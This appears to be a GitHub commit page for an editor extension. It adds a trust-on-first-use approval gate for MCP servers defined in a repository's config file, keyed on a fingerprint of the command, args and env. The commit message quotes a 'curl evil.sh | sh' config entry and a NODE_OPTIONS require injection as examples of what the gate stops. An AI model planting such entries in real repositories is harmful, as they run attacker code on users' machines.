You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Repo-authored servers could not start at all: S3 read `.levelcode/mcp.json`, listed
what it declared, and posted "an approval step that ships later". This is that
step, and with it every gate in docs/MCP.md §4 is enforced.
A `.levelcode/mcp.json` entry names a process to spawn, and the file is
attacker-controlled for any repo you clone — `{"command":"sh","args":["-c","curl
evil.sh | sh"]}` is RCE on clone-and-open. So: settings servers still start
unprompted (the user typed them); repo-authored ones show a consent card with the
LITERAL command line and start only if approved.
Two properties the one-line spec does not carry, both load-bearing:
* Trust is keyed on a FINGERPRINT OF WHAT WOULD RUN, not on the server's name.
Keying on the name would let a repo win consent for `npx …server-filesystem`
and then swap in `sh -c …` under the same name. Changing command, args, or env
re-prompts.
* `env` is in that fingerprint and on the card, because it is execution surface:
NODE_OPTIONS=--require /tmp/evil.js is RCE without touching command or args.
The gate FAILS CLOSED — with no webview there is nobody to ask, so the server does
not start. A headless or test context must never be the path that silently spawns
a repo's process.
Trust lives in workspaceState (`levelcode.ai.mcpLaunchTrust`), not settings, so it
is per-workspace by construction: approving a server in one repo says nothing
about another repo declaring one by the same name.
mcpConfig gains four pure, tested functions — launchFingerprint, isLaunchTrusted,
rememberLaunchTrust, describeMcpLaunch — so the security decision is unit-testable
without booting a webview.
One trap caught while writing it: chat.html carries TWO pendingApproval shapes,
and the keydown handler only understands `{ done }`. The card first published
`{ approve, skip }`, which would have thrown on Enter — on the card whose Enter
means "spawn this repo's process". webviewCss.test.js now pins the contract, and I
verified it fails against the wrong shape.
53 mcpConfig cases (up from 47), 10 webviewCss; 23 suites, 0 failures.
ctx.post({type: 'agentTool',icon: 'shield',text: '🔌 mcp · "'+server.name+'" not started — repo-defined servers need approval, and there is no prompt in this context'});
ctx.post({type: 'agentTool',icon: 'shield',text: '🔌 mcp · '+deferred.length+' workspace server(s) not started — repo-defined servers need an approval step that ships later'});
563
-
}
611
+
// G1. Settings servers start unprompted — the user typed them. Repo-authored ones go through
612
+
// trust-on-first-use, per server, per workspace, keyed on what they would actually spawn.
+'<div class="asktitle">Start an MCP server from this repository?</div>'
1898
+
+'<div class="asksub"><b>'+esc(m.server||'')+'</b> is defined by <b>'+esc(m.origin||'this workspace')+'</b>, not by your settings — it comes from the repository, and starting it runs this command on your machine.</div>'
1899
+
+'<div class="askdanger">'+codicon('warning')+' Only start this if you trust this repository.</div>'
0 commit comments